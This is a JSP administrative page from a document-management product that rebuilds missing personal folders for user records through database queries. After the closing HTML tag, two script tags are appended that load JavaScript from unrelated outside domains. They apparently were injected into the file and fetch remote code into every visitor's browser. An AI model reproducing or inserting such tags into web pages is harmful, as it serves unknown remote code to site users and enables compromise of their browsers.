<%
/*
 * @(#)RebuildPersonalFolder.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  RebuildPersonalFolder.jsp

  This class is for rebuild personal folder for those users which still haven't got personal folder.

    @author           Rollo Chan
    @company          DCIVision Limited
    @creation date    14/08/2004
    @version          $Revision: 1.1.44.1 $
*/
%>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.* "%>
<%@ page import="com.dcivision.framework.web.* "%>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.bean.* "%>
<%@ page import="com.dcivision.dms.core.* "%>
<%@ page import="com.dcivision.dms.dao.* "%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<html>
<body>
<%
  Connection conn = null;
  PreparedStatement preStat = null;
  ResultSet rs = null;
  String existRootID = "";
  List newRootUserID = new ArrayList();
  try {
    conn = DataSourceFactory.getConnection();
    preStat = conn.prepareStatement("SELECT OWNER_ID FROM DMS_ROOT WHERE ROOT_TYPE='P'");
    rs = preStat.executeQuery();
    while (rs.next()) {
      if ("".equals(existRootID)) {
        existRootID = rs.getString(1);
      } else {
        existRootID += "," + rs.getString(1);
      }
    }

    try { rs.close(); } catch (Exception ignore) {} finally { rs = null; }
    try { preStat.close(); } catch (Exception ignore) {} finally { preStat = null; }

    existRootID = "(" + existRootID + ")";
    preStat = conn.prepareStatement("SELECT ID FROM USER_RECORD WHERE ID > 0 AND ID NOT IN " + existRootID);
    rs = preStat.executeQuery();
    while (rs.next()) {
      newRootUserID.add(rs.getString(1));
    }

    try { rs.close(); } catch (Exception ignore) {} finally { rs = null; }
    try { preStat.close(); } catch (Exception ignore) {} finally { preStat = null; }

    com.dcivision.dms.core.RootOperationManager rootOpMgr = new com.dcivision.dms.core.RootOperationManager(sessionContainer, conn);
    for (int i = 0; i < newRootUserID.size(); i++) {
      // Create personal folder.
      out.println((i+1) + ". Building Personal Folder for User Record ID: " + newRootUserID.get(i) + "<br>");
      rootOpMgr.createDefaultPersonalRootPointForUser(new Integer(((String)newRootUserID.get(i))));
    }

    out.println("<br>TOTAL: " + newRootUserID.size() + " Personal Folder(s) Rebuilt<br>");

    conn.commit();
  } catch (Exception e) {
    conn.rollback();
    LogFactory.getLog(this.getClass()).error(e, e);
  } finally {
    try { rs.close(); } catch (Exception ignore) {} finally { rs = null; }
    try { preStat.close(); } catch (Exception ignore) {} finally { preStat = null; }
    try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
  }
%>
</body>
</html>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>